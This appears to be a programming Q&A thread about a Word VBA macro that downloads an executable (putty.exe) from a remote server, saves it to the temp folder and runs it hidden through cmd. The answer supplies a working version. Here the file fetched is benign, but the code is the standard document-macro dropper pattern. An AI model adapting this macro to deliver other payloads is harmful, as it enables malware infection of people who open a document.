Compilation error vbs only in macro word? - vbscript

Question

I was trying to make a download and execute macro. I finished the vbs code and it worked fine, I then put it in some subs and tried to run it as a macro. I get the error
Compile error, Syntax Error: objXMLHTTP.send()
It's weird that this only produces an error as a macro.
Here is the full code:
Sub macro()
Const ADTYPEBINARY = 1
Const ADSAVECREATEOVERWRITE = 2
Dim xHttp
Dim bStrm
Dim filename
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempfolder
Const TemporaryFolder = 2
Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)
strFileURL = "ftp://username:pass#ftpserver.com/putty.exe"
strHDLocation = tempfolder & "/putty.exe"
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.Open "GET", strFileURL, False
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
Else
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End If
Set objXMLHTTP = Nothing
Set objShell = WScript.CreateObject("WScript.Shell")
objShell.Run "cmd /c " & tempfolder & "/putty.exe", 0, True
End Sub

Answer 1

Thanks I changed it to this and it works fine:
Sub book()
Set objShell = CreateObject("Wscript.Shell")
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempfolder
Const TemporaryFolder = 2
Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://the.earth.li/~sgtatham/putty/latest/x86/putty.exe", False
xHttp.Send
With bStrm
.Type = 1 '//binary
.Open
.Write xHttp.responseBody
.SaveTofile tempfolder & "/putty.exe", 2 '//overwrite
End With
objShell.Run "cmd /c " & tempfolder & "/putty.exe", 0, True
End Sub